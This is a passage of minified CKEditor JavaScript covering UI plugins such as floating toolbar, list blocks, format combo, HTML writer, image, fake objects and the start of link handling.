a)}function k(a){var b=m.getDocumentPosition();switch(a){case "top":g("absolute","top",b.y-t-y);break;case "pin":g("fixed","top",A);break;case "bottom":g("absolute","top",b.y+(u.height||u.bottom-u.top)+y)}l=a}var l,m,p,u,x,t,B,v=c.floatSpaceDockedOffsetX||0,y=c.floatSpaceDockedOffsetY||0,z=c.floatSpacePinnedOffsetX||0,A=c.floatSpacePinnedOffsetY||0;return function(g){if(m=a.editable()){var n=g&&"focus"==g.name;n&&d.show();a.fire("floatingSpaceLayout",{show:n});d.removeStyle("left");d.removeStyle("right");
p=d.getClientRect();u=m.getClientRect();x=f.getViewPaneSize();t=p.height;B="pageXOffset"in f.$?f.$.pageXOffset:CKEDITOR.document.$.documentElement.scrollLeft;l?(t+y<=u.top?k("top"):t+y>x.height-u.bottom?k("pin"):k("bottom"),g=x.width/2,g=c.floatSpacePreferRight?"right":0<u.left&&u.right<x.width&&u.width>p.width?"rtl"==c.contentsLangDirection?"right":"left":g-u.left>u.right-g?"left":"right",p.width>x.width?(g="left",n=0):(n="left"==g?0<u.left?u.left:0:u.right<x.width?x.width-u.right:0,n+p.width>x.width&&
(g="left"==g?"right":"left",n=0)),d.setStyle(g,e(("pin"==l?z:v)+n+("pin"==l?0:"left"==g?B:-B)))):(l="pin",k("pin"),h(g))}}}();if(m){var l=new CKEDITOR.template('\x3cdiv id\x3d"cke_{name}" class\x3d"cke {id} cke_reset_all cke_chrome cke_editor_{name} cke_float cke_{langDir} '+CKEDITOR.env.cssClass+'" dir\x3d"{langDir}" title\x3d"'+(CKEDITOR.env.gecko?" ":"")+'" lang\x3d"{langCode}" role\x3d"application" style\x3d"{style}"'+(a.title?' aria-labelledby\x3d"cke_{name}_arialbl"':" ")+"\x3e"+(a.title?'\x3cspan id\x3d"cke_{name}_arialbl" class\x3d"cke_voice_label"\x3e{voiceLabel}\x3c/span\x3e':
" ")+'\x3cdiv class\x3d"cke_inner"\x3e\x3cdiv id\x3d"{topId}" class\x3d"cke_top" role\x3d"presentation"\x3e{content}\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e'),d=CKEDITOR.document.getBody().append(CKEDITOR.dom.element.createFromHtml(l.output({content:m,id:a.id,langDir:a.lang.dir,langCode:a.langCode,name:a.name,style:"display:none;z-index:"+(c.baseFloatZIndex-1),topId:a.ui.spaceId("top"),voiceLabel:a.title}))),k=CKEDITOR.tools.eventsBuffer(500,h),g=CKEDITOR.tools.eventsBuffer(100,h);d.unselectable();d.on("mousedown",
function(a){a=a.data;a.getTarget().hasAscendant("a",1)||a.preventDefault()});a.on("focus",function(d){h(d);a.on("change",k.input);f.on("scroll",g.input);f.on("resize",g.input)});a.on("blur",function(){d.hide();a.removeListener("change",k.input);f.removeListener("scroll",g.input);f.removeListener("resize",g.input)});a.on("destroy",function(){f.removeListener("scroll",g.input);f.removeListener("resize",g.input);d.clearCustomData();d.remove()});a.focusManager.hasFocus&&d.show();a.focusManager.add(d,
1)}}var f=CKEDITOR.document.getWindow(),e=CKEDITOR.tools.cssLength;CKEDITOR.plugins.add("floatingspace",{init:function(b){b.on("loaded",function(){a(this)},null,null,20)}})})();CKEDITOR.plugins.add("listblock",{requires:"panel",onLoad:function(){var a=CKEDITOR.addTemplate("panel-list",'\x3cul role\x3d"presentation" class\x3d"cke_panel_list"\x3e{items}\x3c/ul\x3e'),f=CKEDITOR.addTemplate("panel-list-item",'\x3cli id\x3d"{id}" class\x3d"cke_panel_listItem" role\x3dpresentation\x3e\x3ca id\x3d"{id}_option" _cke_focus\x3d1 hidefocus\x3dtrue title\x3d"{title}" draggable\x3d"false" ondragstart\x3d"return false;" href\x3d"javascript:void(\'{val}\')" onclick\x3d"{onclick}CKEDITOR.tools.callFunction({clickFn},\'{val}\'); return false;" role\x3d"option"\x3e{text}\x3c/a\x3e\x3c/li\x3e'),
e=CKEDITOR.addTemplate("panel-list-group",'\x3ch1 id\x3d"{id}" draggable\x3d"false" ondragstart\x3d"return false;" class\x3d"cke_panel_grouptitle" role\x3d"presentation" \x3e{label}\x3c/h1\x3e'),b=/\'/g;CKEDITOR.ui.panel.prototype.addListBlock=function(a,b){return this.addBlock(a,new CKEDITOR.ui.listBlock(this.getHolderElement(),b))};CKEDITOR.ui.listBlock=CKEDITOR.tools.createClass({base:CKEDITOR.ui.panel.block,$:function(a,b){b=b||{};var e=b.attributes||(b.attributes={});(this.multiSelect=!!b.multiSelect)&&
(e["aria-multiselectable"]=!0);!e.role&&(e.role="listbox");this.base.apply(this,arguments);this.element.setAttribute("role",e.role);e=this.keys;e[40]="next";e[9]="next";e[38]="prev";e[CKEDITOR.SHIFT+9]="prev";e[32]=CKEDITOR.env.ie?"mouseup":"click";CKEDITOR.env.ie&&(e[13]="mouseup");this._.pendingHtml=[];this._.pendingList=[];this._.items={};this._.groups={}},_:{close:function(){if(this._.started){var b=a.output({items:this._.pendingList.join("")});this._.pendingList=[];this._.pendingHtml.push(b);
delete this._.started}},getClick:function(){this._.click||(this._.click=CKEDITOR.tools.addFunction(function(a){var b=this.toggle(a);if(this.onClick)this.onClick(a,b)},this));return this._.click}},proto:{add:function(a,e,h){var l=CKEDITOR.tools.getNextId();this._.started||(this._.started=1,this._.size=this._.size||0);this._.items[a]=l;var d;d=CKEDITOR.tools.htmlEncodeAttr(a).replace(b,"\\'");a={id:l,val:d,onclick:CKEDITOR.env.ie?'return false;" onmouseup\x3d"CKEDITOR.tools.getMouseButton(event)\x3d\x3d\x3dCKEDITOR.MOUSE_BUTTON_LEFT\x26\x26':
"",clickFn:this._.getClick(),title:CKEDITOR.tools.htmlEncodeAttr(h||a),text:e||a};this._.pendingList.push(f.output(a))},startGroup:function(a){this._.close();var b=CKEDITOR.tools.getNextId();this._.groups[a]=b;this._.pendingHtml.push(e.output({id:b,label:a}))},commit:function(){this._.close();this.element.appendHtml(this._.pendingHtml.join(""));delete this._.size;this._.pendingHtml=[]},toggle:function(a){var b=this.isMarked(a);b?this.unmark(a):this.mark(a);return!b},hideGroup:function(a){var b=(a=
this.element.getDocument().getById(this._.groups[a]))&&a.getNext();a&&(a.setStyle("display","none"),b&&"ul"==b.getName()&&b.setStyle("display","none"))},hideItem:function(a){this.element.getDocument().getById(this._.items[a]).setStyle("display","none")},showAll:function(){var a=this._.items,b=this._.groups,e=this.element.getDocument(),f;for(f in a)e.getById(a[f]).setStyle("display","");for(var d in b)a=e.getById(b[d]),f=a.getNext(),a.setStyle("display",""),f&&"ul"==f.getName()&&f.setStyle("display",
"")},mark:function(a){this.multiSelect||this.unmarkAll();a=this._.items[a];var b=this.element.getDocument().getById(a);b.addClass("cke_selected");this.element.getDocument().getById(a+"_option").setAttribute("aria-selected",!0);this.onMark&&this.onMark(b)},markFirstDisplayed:function(){var a=this;this._.markFirstDisplayed(function(){a.multiSelect||a.unmarkAll()})},unmark:function(a){var b=this.element.getDocument();a=this._.items[a];var e=b.getById(a);e.removeClass("cke_selected");b.getById(a+"_option").removeAttribute("aria-selected");
this.onUnmark&&this.onUnmark(e)},unmarkAll:function(){var a=this._.items,b=this.element.getDocument(),e;for(e in a){var f=a[e];b.getById(f).removeClass("cke_selected");b.getById(f+"_option").removeAttribute("aria-selected")}this.onUnmark&&this.onUnmark()},isMarked:function(a){return this.element.getDocument().getById(this._.items[a]).hasClass("cke_selected")},focus:function(a){this._.focusIndex=-1;var b=this.element.getElementsByTag("a"),e,f=-1;if(a)for(e=this.element.getDocument().getById(this._.items[a]).getFirst();a=
b.getItem(++f);){if(a.equals(e)){this._.focusIndex=f;break}}else this.element.focus();e&&setTimeout(function(){e.focus()},0)}}})}});CKEDITOR.plugins.add("richcombo",{requires:"floatpanel,listblock,button",beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_RICHCOMBO,CKEDITOR.ui.richCombo.handler)}});(function(){var a='\x3cspan id\x3d"{id}" class\x3d"cke_combo cke_combo__{name} {cls}" role\x3d"presentation"\x3e\x3cspan id\x3d"{id}_label" class\x3d"cke_combo_label"\x3e{label}\x3c/span\x3e\x3ca class\x3d"cke_combo_button" title\x3d"{title}" tabindex\x3d"-1"'+
(CKEDITOR.env.gecko&&!CKEDITOR.env.hc?"":" href\x3d\"javascript:void('{titleJs}')\"")+' hidefocus\x3d"true" role\x3d"button" aria-labelledby\x3d"{id}_label" aria-haspopup\x3d"listbox"',f="";CKEDITOR.env.gecko&&CKEDITOR.env.mac&&(a+=' onkeypress\x3d"return false;"');CKEDITOR.env.gecko&&(a+=' onblur\x3d"this.style.cssText \x3d this.style.cssText;"');CKEDITOR.env.ie&&(f='return false;" onmouseup\x3d"CKEDITOR.tools.getMouseButton(event)\x3d\x3dCKEDITOR.MOUSE_BUTTON_LEFT\x26\x26');var a=a+(' onkeydown\x3d"return CKEDITOR.tools.callFunction({keydownFn},event,this);" onfocus\x3d"return CKEDITOR.tools.callFunction({focusFn},event);" onclick\x3d"'+
f+'CKEDITOR.tools.callFunction({clickFn},this);return false;"\x3e\x3cspan id\x3d"{id}_text" class\x3d"cke_combo_text cke_combo_inlinelabel"\x3e{label}\x3c/span\x3e\x3cspan class\x3d"cke_combo_open"\x3e\x3cspan class\x3d"cke_combo_arrow"\x3e'+(CKEDITOR.env.hc?"\x26#9660;":CKEDITOR.env.air?"\x26nbsp;":"")+"\x3c/span\x3e\x3c/span\x3e\x3c/a\x3e\x3c/span\x3e"),e=CKEDITOR.addTemplate("combo",a);CKEDITOR.UI_RICHCOMBO="richcombo";CKEDITOR.ui.richCombo=CKEDITOR.tools.createClass({$:function(a){CKEDITOR.tools.extend(this,
a,{canGroup:!1,title:a.label,modes:{wysiwyg:1},editorFocus:1});a=this.panel||{};delete this.panel;this.id=CKEDITOR.tools.getNextNumber();this.document=a.parent&&a.parent.getDocument()||CKEDITOR.document;a.className="cke_combopanel";a.block={multiSelect:a.multiSelect,attributes:a.attributes};a.toolbarRelated=!0;this._={panelDefinition:a,items:{},listeners:[]}},proto:{renderHtml:function(a){var c=[];this.render(a,c);return c.join("")},render:function(a,c){function f(){if(this.getState()!=CKEDITOR.TRISTATE_ON){var d=
this.modes[a.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED;a.readOnly&&!this.readOnly&&(d=CKEDITOR.TRISTATE_DISABLED);this.setState(d);this.setValue("");d!=CKEDITOR.TRISTATE_DISABLED&&this.refresh&&this.refresh()}}var h=CKEDITOR.env,l,d,k="cke_"+this.id,g=CKEDITOR.tools.addFunction(function(c){d&&(a.unlockSelection(1),d=0);l.execute(c)},this),n=this;l={id:k,combo:this,focus:function(){CKEDITOR.document.getById(k).getChild(1).focus()},execute:function(d){var c=n._;if(c.state!=CKEDITOR.TRISTATE_DISABLED)if(n.createPanel(a),
c.on)c.panel.hide();else{n.commit();var e=n.getValue();e?c.list.mark(e):c.list.unmarkAll();c.panel.showBlock(n.id,new CKEDITOR.dom.element(d),4)}},clickFn:g};this._.listeners.push(a.on("activeFilterChange",f,this));this._.listeners.push(a.on("mode",f,this));this._.listeners.push(a.on("selectionChange",f,this));!this.readOnly&&this._.listeners.push(a.on("readOnly",f,this));var r=CKEDITOR.tools.addFunction(function(a,b){a=new CKEDITOR.dom.event(a);var d=a.getKeystroke();switch(d){case 13:case 32:case 40:CKEDITOR.tools.callFunction(g,
b);break;default:l.onkey(l,d)}a.preventDefault()}),w=CKEDITOR.tools.addFunction(function(){l.onfocus&&l.onfocus()});d=0;l.keyDownFn=r;h={id:k,name:this.name||this.command,label:this.label,title:this.title,cls:this.className||"",titleJs:h.gecko&&!h.hc?"":(this.title||"").replace("'",""),keydownFn:r,focusFn:w,clickFn:g};e.output(h,c);if(this.onRender)this.onRender();return l},createPanel:function(a){if(!this._.panel){var c=this._.panelDefinition,e=this._.panelDefinition.block,f=c.parent||CKEDITOR.document.getBody(),
l="cke_combopanel__"+this.name,d=new CKEDITOR.ui.floatPanel(a,f,c),c=d.addListBlock(this.id,e),k=this;d.onShow=function(){this.element.addClass(l);k.setState(CKEDITOR.TRISTATE_ON);k._.on=1;k.editorFocus&&!a.focusManager.hasFocus&&a.focus();if(k.onOpen)k.onOpen()};d.onHide=function(d){this.element.removeClass(l);k.setState(k.modes&&k.modes[a.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);k._.on=0;if(!d&&k.onClose)k.onClose()};d.onEscape=function(){d.hide(1)};c.onClick=function(a,b){k.onClick&&
k.onClick.call(k,a,b);d.hide()};this._.panel=d;this._.list=c;d.getBlock(this.id).onHide=function(){k._.on=0;k.setState(CKEDITOR.TRISTATE_OFF)};this.init&&this.init()}},setValue:function(a,c){this._.value=a;var e=this.document.getById("cke_"+this.id+"_text");e&&(a||c?e.removeClass("cke_combo_inlinelabel"):(c=this.label,e.addClass("cke_combo_inlinelabel")),e.setText("undefined"!=typeof c?c:a))},getValue:function(){return this._.value||""},unmarkAll:function(){this._.list.unmarkAll()},mark:function(a){this._.list.mark(a)},
hideItem:function(a){this._.list.hideItem(a)},hideGroup:function(a){this._.list.hideGroup(a)},showAll:function(){this._.list.showAll()},add:function(a,c,e){this._.items[a]=e||a;this._.list.add(a,c,e)},startGroup:function(a){this._.list.startGroup(a)},commit:function(){this._.committed||(this._.list.commit(),this._.committed=1,CKEDITOR.ui.fire("ready",this));this._.committed=1},setState:function(a){if(this._.state!=a){var c=this.document.getById("cke_"+this.id),e=c.getElementsByTag("a").getItem(0);
c.setState(a,"cke_combo");a==CKEDITOR.TRISTATE_DISABLED?c.setAttribute("aria-disabled",!0):c.removeAttribute("aria-disabled");e&&e.setAttribute("aria-expanded",a==CKEDITOR.TRISTATE_ON);this._.state=a}},getState:function(){return this._.state},enable:function(){this._.state==CKEDITOR.TRISTATE_DISABLED&&this.setState(this._.lastState)},disable:function(){this._.state!=CKEDITOR.TRISTATE_DISABLED&&(this._.lastState=this._.state,this.setState(CKEDITOR.TRISTATE_DISABLED))},destroy:function(){CKEDITOR.tools.array.forEach(this._.listeners,
function(a){a.removeListener()});this._.listeners=[]},select:function(a){if(!CKEDITOR.tools.isEmpty(this._.items))for(var c in this._.items)if(a({value:c,text:this._.items[c]})){this.setValue(c);break}}},statics:{handler:{create:function(a){return new CKEDITOR.ui.richCombo(a)}}}});CKEDITOR.ui.prototype.addRichCombo=function(a,c){this.add(a,CKEDITOR.UI_RICHCOMBO,c)}})();CKEDITOR.plugins.add("format",{requires:"richcombo",init:function(a){if(!a.blockless){for(var f=a.config,e=a.lang.format,b=f.format_tags.split(";"),
c={},m=0,h=[],l=0;l<b.length;l++){var d=b[l],k=new CKEDITOR.style(f["format_"+d]);if(!a.filter.customConfig||a.filter.check(k))m++,c[d]=k,c[d]._.enterMode=a.config.enterMode,h.push(k)}0!==m&&a.ui.addRichCombo("Format",{label:e.label,title:e.panelTitle,toolbar:"styles,20",allowedContent:h,panel:{css:[CKEDITOR.skin.getPath("editor")].concat(f.contentsCss),multiSelect:!1,attributes:{"aria-label":e.panelTitle}},init:function(){this.startGroup(e.panelTitle);for(var a in c){var b=e["tag_"+a];this.add(a,
c[a].buildPreview(b),b)}},onClick:function(b){a.focus();a.fire("saveSnapshot");b=c[b];var d=a.elementPath();b.checkActive(d,a)||a.applyStyle(b);setTimeout(function(){a.fire("saveSnapshot")},0)},onRender:function(){a.on("selectionChange",function(b){var d=this.getValue();b=b.data.path;this.refresh();for(var e in c)if(c[e].checkActive(b,a)){e!=d&&this.setValue(e,a.lang.format["tag_"+e]);return}this.setValue("")},this)},onOpen:function(){this.showAll();for(var b in c)a.activeFilter.check(c[b])||this.hideItem(b)},
refresh:function(){var b=a.elementPath();if(b){if(b.isContextFor("p"))for(var d in c)if(a.activeFilter.check(c[d]))return;this.setState(CKEDITOR.TRISTATE_DISABLED)}}})}}});CKEDITOR.config.format_tags="p;h1;h2;h3;h4;h5;h6;pre;address;div";CKEDITOR.config.format_p={element:"p"};CKEDITOR.config.format_div={element:"div"};CKEDITOR.config.format_pre={element:"pre"};CKEDITOR.config.format_address={element:"address"};CKEDITOR.config.format_h1={element:"h1"};CKEDITOR.config.format_h2={element:"h2"};CKEDITOR.config.format_h3=
{element:"h3"};CKEDITOR.config.format_h4={element:"h4"};CKEDITOR.config.format_h5={element:"h5"};CKEDITOR.config.format_h6={element:"h6"};(function(){var a={canUndo:!1,exec:function(a){var e=a.document.createElement("hr");a.insertElement(e)},allowedContent:"hr",requiredContent:"hr"};CKEDITOR.plugins.add("horizontalrule",{init:function(f){f.blockless||(f.addCommand("horizontalrule",a),f.ui.addButton&&f.ui.addButton("HorizontalRule",{label:f.lang.horizontalrule.toolbar,command:"horizontalrule",toolbar:"insert,40"}))}})})();
CKEDITOR.plugins.add("htmlwriter",{init:function(a){var f=new CKEDITOR.htmlWriter;f.forceSimpleAmpersand=a.config.forceSimpleAmpersand;f.indentationChars="string"===typeof a.config.dataIndentationChars?a.config.dataIndentationChars:"\t";a.dataProcessor.writer=f}});CKEDITOR.htmlWriter=CKEDITOR.tools.createClass({base:CKEDITOR.htmlParser.basicWriter,$:function(){this.base();this.indentationChars="\t";this.selfClosingEnd=" /\x3e";this.lineBreakChars="\n";this.sortAttributes=1;this._.indent=0;this._.indentation=
"";this._.inPre=0;this._.rules={};var a=CKEDITOR.dtd,f;for(f in CKEDITOR.tools.extend({},a.$nonBodyContent,a.$block,a.$listItem,a.$tableContent))this.setRules(f,{indent:!a[f]["#"],breakBeforeOpen:1,breakBeforeClose:!a[f]["#"],breakAfterClose:1,needsSpace:f in a.$block&&!(f in{li:1,dt:1,dd:1})});this.setRules("br",{breakAfterOpen:1});this.setRules("title",{indent:0,breakAfterOpen:0});this.setRules("style",{indent:0,breakBeforeClose:1});this.setRules("pre",{breakAfterOpen:1,indent:0})},proto:{openTag:function(a){var f=
this._.rules[a];this._.afterCloser&&f&&f.needsSpace&&this._.needsSpace&&this._.output.push("\n");this._.indent?this.indentation():f&&f.breakBeforeOpen&&(this.lineBreak(),this.indentation());this._.output.push("\x3c",a);this._.afterCloser=0},openTagClose:function(a,f){var e=this._.rules[a];f?(this._.output.push(this.selfClosingEnd),e&&e.breakAfterClose&&(this._.needsSpace=e.needsSpace)):(this._.output.push("\x3e"),e&&e.indent&&(this._.indentation+=this.indentationChars));e&&e.breakAfterOpen&&this.lineBreak();
"pre"==a&&(this._.inPre=1)},attribute:function(a,f){"string"==typeof f&&(f=CKEDITOR.tools.htmlEncodeAttr(f),this.forceSimpleAmpersand&&(f=f.replace(/&/g,"\x26")));this._.output.push(" ",a,'\x3d"',f,'"')},closeTag:function(a){var f=this._.rules[a];f&&f.indent&&(this._.indentation=this._.indentation.substr(this.indentationChars.length));this._.indent?this.indentation():f&&f.breakBeforeClose&&(this.lineBreak(),this.indentation());this._.output.push("\x3c/",a,"\x3e");"pre"==a&&(this._.inPre=0);f&&
f.breakAfterClose&&(this.lineBreak(),this._.needsSpace=f.needsSpace);this._.afterCloser=1},text:function(a){this._.indent&&(this.indentation(),!this._.inPre&&(a=CKEDITOR.tools.ltrim(a)));this._.output.push(a)},comment:function(a){this._.indent&&this.indentation();this._.output.push("\x3c!--",a,"--\x3e")},lineBreak:function(){!this._.inPre&&0<this._.output.length&&this._.output.push(this.lineBreakChars);this._.indent=1},indentation:function(){!this._.inPre&&this._.indentation&&this._.output.push(this._.indentation);
this._.indent=0},reset:function(){this._.output=[];this._.indent=0;this._.indentation="";this._.afterCloser=0;this._.inPre=0;this._.needsSpace=0},setRules:function(a,f){var e=this._.rules[a];e?CKEDITOR.tools.extend(e,f,!0):this._.rules[a]=f}}});(function(){function a(a,b){b||(b=a.getSelection().getSelectedElement());if(b&&b.is("img")&&!b.data("cke-realelement")&&!b.isReadOnly())return b}function f(a){var b=a.getStyle("float");if("inherit"==b||"none"==b)b=0;b||(b=a.getAttribute("align"));return b}
CKEDITOR.plugins.add("image",{requires:"dialog",init:function(e){if(!e.plugins.detectConflict("image",["easyimage","image2"])){CKEDITOR.dialog.add("image",this.path+"dialogs/image.js");var b="img[alt,!src]{border-style,border-width,float,height,margin,margin-bottom,margin-left,margin-right,margin-top,width}";CKEDITOR.dialog.isTabEnabled(e,"image","advanced")&&(b="img[alt,dir,id,lang,longdesc,!src,title]{*}(*)");e.addCommand("image",new CKEDITOR.dialogCommand("image",{allowedContent:b,requiredContent:"img[alt,src]",
contentTransformations:[["img{width}: sizeToStyle","img[width]: sizeToAttribute"],["img{float}: alignmentToStyle","img[align]: alignmentToAttribute"]]}));e.ui.addButton&&e.ui.addButton("Image",{label:e.lang.common.image,command:"image",toolbar:"insert,10"});e.on("doubleclick",function(a){var b=a.data.element;!b.is("img")||b.data("cke-realelement")||b.isReadOnly()||(a.data.dialog="image")});e.addMenuItems&&e.addMenuItems({image:{label:e.lang.image.menu,command:"image",group:"image"}});e.contextMenu&&
e.contextMenu.addListener(function(b){if(a(e,b))return{image:CKEDITOR.TRISTATE_OFF}})}},afterInit:function(e){function b(b){var m=e.getCommand("justify"+b);if(m){if("left"==b||"right"==b)m.on("exec",function(h){var l=a(e),d;l&&(d=f(l),d==b?(l.removeStyle("float"),b==f(l)&&l.removeAttribute("align")):l.setStyle("float",b),h.cancel())});m.on("refresh",function(h){var l=a(e);l&&(l=f(l),this.setState(l==b?CKEDITOR.TRISTATE_ON:"right"==b||"left"==b?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED),h.cancel())})}}
e.plugins.image2||(b("left"),b("right"),b("center"),b("block"))}})})();CKEDITOR.config.image_removeLinkByEmptyURL=!0;(function(){function a(a,c){var e=b.exec(a),d=b.exec(c);if(e){if(!e[2]&&"px"==d[2])return d[1];if("px"==e[2]&&!d[2])return d[1]+"px"}return c}var f=CKEDITOR.htmlParser.cssStyle,e=CKEDITOR.tools.cssLength,b=/^((?:\d*(?:\.\d+))|(?:\d+))(.*)?$/i,c={elements:{$:function(b){var c=b.attributes;if((c=(c=(c=c&&c["data-cke-realelement"])&&new CKEDITOR.htmlParser.fragment.fromHtml(decodeURIComponent(c)))&&
c.children[0])&&b.attributes["data-cke-resizable"]){var e=(new f(b)).rules;b=c.attributes;var d=e.width,e=e.height;d&&(b.width=a(b.width,d));e&&(b.height=a(b.height,e))}return c}}};CKEDITOR.plugins.add("fakeobjects",{init:function(a){a.filter.allow("img[!data-cke-realelement,src,alt,title](*){*}","fakeobjects")},afterInit:function(a){(a=(a=a.dataProcessor)&&a.htmlFilter)&&a.addRules(c,{applyToAll:!0})}});CKEDITOR.editor.prototype.createFakeElement=function(a,b,c,d){var k=this.lang.fakeobjects,k=k[c]||
k.unknown;b={"class":b,"data-cke-realelement":encodeURIComponent(a.getOuterHtml()),"data-cke-real-node-type":a.type,alt:k,title:k,align:a.getAttribute("align")||""};CKEDITOR.env.hc||(b.src=CKEDITOR.tools.transparentImageData);c&&(b["data-cke-real-element-type"]=c);d&&(b["data-cke-resizable"]=d,c=new f,d=a.getAttribute("width"),a=a.getAttribute("height"),d&&(c.rules.width=e(d)),a&&(c.rules.height=e(a)),c.populate(b));return this.document.createElement("img",{attributes:b})};CKEDITOR.editor.prototype.createFakeParserElement=
function(a,b,c,d){var k=this.lang.fakeobjects,k=k[c]||k.unknown,g;g=new CKEDITOR.htmlParser.basicWriter;a.writeHtml(g);g=g.getHtml();b={"class":b,"data-cke-realelement":encodeURIComponent(g),"data-cke-real-node-type":a.type,alt:k,title:k,align:a.attributes.align||""};CKEDITOR.env.hc||(b.src=CKEDITOR.tools.transparentImageData);c&&(b["data-cke-real-element-type"]=c);d&&(b["data-cke-resizable"]=d,d=a.attributes,a=new f,c=d.width,d=d.height,void 0!==c&&(a.rules.width=e(c)),void 0!==d&&(a.rules.height=
e(d)),a.populate(b));return new CKEDITOR.htmlParser.element("img",b)};CKEDITOR.editor.prototype.restoreRealElement=function(b){if(b.data("cke-real-node-type")!=CKEDITOR.NODE_ELEMENT)return null;var c=CKEDITOR.dom.element.createFromHtml(decodeURIComponent(b.data("cke-realelement")),this.document);if(b.data("cke-resizable")){var e=b.getStyle("width");b=b.getStyle("height");e&&c.setAttribute("width",a(c.getAttribute("width"),e));b&&c.setAttribute("height",a(c.getAttribute("height"),b))}return c}})();
"use strict";(function(){function a(a){return a.replace(/'/g,"\\$\x26")}function f(a){for(var b=a.length,d=[],c,e=0;e<b;e++)c=a.charCodeAt(e),d.push(c);return"String.fromCharCode("+d.join(",")+")"}function e(b,d){for(var c=b.plugins.link,e=c.compiledProtectionFunction.params,c=[c.compiledProtectionFunction.name,"("],f,g,k=0;k<e.length;k++)f=e[k].toLowerCase(),g=d[f],0<k&&c.push(","),c.push("'",g?a(encodeURIComponent(d[f])):"","'");c.push(")");return c.join("")}function b(a){a=a.config.emailProtection||
"";var b;a&&"encode"!=a&&(b={},a.replace(/^([^(]+)\(([^)]+)\)$/,function(a,d,c){b.name=d;b.params=[];c.replace(/[^,\s]+/g,function(a){b.params.push(a)})}));return b}CKEDITOR.plugins.add("link",{requires:"dialog,fakeobjects",onLoad:function(){function a(b){return d.replace(/%1/g,"rtl"==b?"right":"left").replace(/%2/g,"cke_contents_"+b)}var b="background:url("+CKEDITOR.getUrl(this.path+"images"+(CKEDITOR.env.hidpi?"/hidpi":"")+"/anchor.png")+") no-repeat %1 center;border:1px dotted #00f;background-size:16px;",
d=".%2 a.cke_anchor,.%2 a.cke_anchor_empty,.cke_editable.%2 a[name],.cke_editable.%2 a[data-cke-saved-name]{"+b+"padding-%1:18px;cursor:auto;}.%2 img.cke_anchor{"+b+"width:16px;min-height:15px;height:1.15em;vertical-align:text-bottom;}";CKEDITOR.addCss(a("ltr")+a("rtl"))},init:function(a){var d="a[!href]";CKEDITOR.dialog.isTabEnabled(a,"link","advanced")&&(d=d.replace("]",",accesskey,charset,dir,id,lang,name,rel,tabindex,title,type,download]{*}(*)"));CKEDITOR.dialog.isTabEnabled(a,"link","target")&&
(d=d.replace("]",",target,onclick]"));a.addCommand("link",new CKEDITOR.dialogCommand("link",{allowedContent:d,requiredContent:"a[href]"}));a.addCommand("anchor",new CKEDITOR.dialogCommand("anchor",{allowedContent:"a[!name,id]",requiredContent:"a[name]"}));a.addCommand("unlink",new CKEDITOR.unlinkCommand);a.addCommand("removeAnchor",new CKEDITOR.removeAnchorCommand);a.setKeystroke(CKEDITOR.CTRL+76,"link");a.setKeystroke(CKEDITOR.CTRL+75,"link");a.ui.addButton&&(a.ui.addButton("Link",{label:a.lang.link.toolbar,
command:"link",toolbar:"links,10"}),a.ui.addButton("Unlink",{label:a.lang.link.unlink,command:"unlink",toolbar:"links,20"}),a.ui.addButton("Anchor",{label:a.lang.link.anchor.toolbar,command:"anchor",toolbar:"links,30"}));CKEDITOR.dialog.add("link",this.path+"dialogs/link.js");CKEDITOR.dialog.add("anchor",this.path+"dialogs/anchor.js");a.on("doubleclick",function(b){var d=b.data.element.getAscendant({a:1,img:1},!0);d&&!d.isReadOnly()&&(d.is("a")?(b.data.dialog=!d.getAttribute("name")||d.getAttribute("href")&&
d.getChildCount()?"link":"anchor",b.data.link=d):CKEDITOR.plugins.link.tryRestoreFakeAnchor(a,d)&&(b.data.dialog="anchor"))},null,null,0);a.on("doubleclick",function(b){b.data.dialog in{link:1,anchor:1}&&b.data.link&&a.getSelection().selectElement(b.data.link)},null,null,20);a.addMenuItems&&a.addMenuItems({anchor:{label:a.lang.link.anchor.menu,command:"anchor",group:"anchor",order:1},removeAnchor:{label:a.lang.link.anchor.remove,command:"removeAnchor",group:"anchor",order:5},link:{label:a.lang.link.menu,
command:"link",group:"link",order:1},unlink:{label:a.lang.link.unlink,command:"unlink",group:"link",order:5}});a.contextMenu&&a.contextMenu.addListener(function(b){if(!b||b.isReadOnly())return null;b=CKEDITOR.plugins.link.tryRestoreFakeAnchor(a,b);if(!b&&!(b=CKEDITOR.plugins.link.getSelectedLink(a)))return null;var d={};b.getAttribute("href")&&b.getChildCount()&&(d={link:CKEDITOR.TRISTATE_OFF,unlink:CKEDITOR.TRISTATE_OFF});b&&b.hasAttribute("name")&&(d.anchor=d.removeAnchor=CKEDITOR.TRISTATE_OFF);
return d});this.compiledProtectionFunction=b(a)},afterInit:function(a){a.dataProcessor.dataFilter.addRules({elements:{a:function(b){return b.attributes.name?b.children.length?null:a.createFakeParserElement(b,"cke_anchor","anchor"):null}}});var b=a._.elementsPath&&a._.elementsPath.filters;b&&b.push(function(b,d){if("a"==d&&(CKEDITOR.plugins.link.tryRestoreFakeAnchor(a,b)||b.getAttribute("name")&&(!b.getAttribute("href")||!b.getChildCount())))return"anchor"})}});var c=/^javascript:/,m=/^(?:mailto)(?:(?!\?(subject|body)=).)+/i,
h=/subject=([^;?:@&=$,\/]*)/i,l=/body=([^;?:@&=$,\/]*)/i,d=/^#(.*)$/,k=/^((?:http|https|ftp|news):\/\/)?(.*)$/,g=/^(_(?:self|top|parent|blank))$/,n=/^javascript:void\(location\.href='mailto:'\+String\.fromCharCode\(([^)]+)\)(?:\+'(.*)')?\)$/,r=/^javascript:([^(]+)\(([^)]+)\)$/,w=/\s*window.open\(\s*this\.href\s*,\s*(?:'([^']*)'|null)\s*,\s*'([^']*)'\s*\)\s*;\s*return\s*false;*\s*/,q=/(?:^|,)([^=]+)=(\d+|yes|no)/gi,p=/^tel:(.*)$/,u={id:"advId",dir:"advLangDir",accessKey:"advAccessKey",name:"advName",
